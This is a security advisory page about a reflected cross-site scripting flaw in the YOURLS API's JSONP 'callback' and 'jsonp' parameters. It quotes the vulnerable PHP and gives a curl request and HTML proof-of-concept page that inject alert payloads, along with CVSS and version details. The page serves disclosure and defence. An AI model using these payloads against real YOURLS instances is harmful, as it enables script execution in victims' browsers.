High

YOURLS is vulnerable to XSS through JSONP and Callback request parameters

  • Disclosed: 30.12.2025
  • Updated: 11.10.2026 10:22

Summary

The callback and jsonp request parameters are directly concatenated into the response without any sanitization that allowing attackers to inject arbitrary JS code. When YOURLS_PRIVATE is set to false (public API mode), this vulnerability can be exploited by any unauthenticated attacker. In private mode, the XSS payload is still injected into the 403 response body though browser execution is blocked.

Details

Vulnerability exists in the JSONP callback handling chain:

yourls-api.php:127-128

if( isset( $_REQUEST['callback'] ) )
    $return['callback'] = $_REQUEST['callback'];
elseif ( isset( $_REQUEST['jsonp'] ) )
    $return['callback'] = $_REQUEST['jsonp'];

includes/functions-api.php:127-128

$callback = isset( $output['callback'] ) ? $output['callback'] : '';
$result =  $callback . '(' . json_encode( $output ) . ')';

PoC

I. YOURLS instance with YOURLS_PRIVATE set to false in config.php or user authenticated to a private YOURLS instance.

II. curl "http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert(document.domain)//" Expected response: alert(document.domain)//({"version":"1.10.2","callback":"alert(document.domain)\/\/"})

Browser PoC file:

<!DOCTYPE html>
<html>
<head><title>pwn</title></head>
<body>
<h1>pwn</h1>
<script src="http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert('pwn');//"></script>
</body>
</html>

Impact

Public Mode (YOURLS_PRIVATE=false): Full exploitation, any unauthenticated user can trigger XSS. Private Mode (YOURLS_PRIVATE=true): XSS payload is injected into 403 response body but browser blocks script execution. However, authenticated users or admins accessing malicious links are still vulnerable.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package yourls/yourls <= 1.10.2 no fix

References

CVSS score 7.1/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
Weakness (CWE)
CWE-79
Platform
Composer
Package
yourls/yourls
Disclosed
30.12.2025
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-6mp4-q625-mxjp - CC BY 4.0

Vulnerability history: yourls/yourls

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
8
First → latest
09.2019 08.2026
Without a fix
4
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 2
  • Medium 4
  • Low 1

Disclosures per year

  1. 2019: 1
  2. 2020: 0
  3. 2021: 3
  4. 2022: 2
  5. 2023: 0
  6. 2024: 0
  7. 2025: 1
  8. 2026: 1
  1. High · 8.2 CVE-2026-63135 >= 1.5.1, < 1.10.4 1.10.4
  2. YOURLS is vulnerable to XSS through JSONP and Callback request parameters this entry
    High · 7.1 ghsa-6mp4-q625-mxjp <= 1.10.2 no fix
  3. Medium · 5.4 CVE-2020-27388 >= 1.5, < 1.8 1.8
  4. Low · 3.5 CVE-2022-0088 <= 1.8.2 no fix
  5. Medium · 6.6 CVE-2021-3783 <= 1.8.2 no fix
  6. Medium · 5.4 CVE-2021-3785 < 1.8.2 1.8.2
  7. Medium · 6.5 CVE-2021-3734 <= 1.8.1 no fix

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.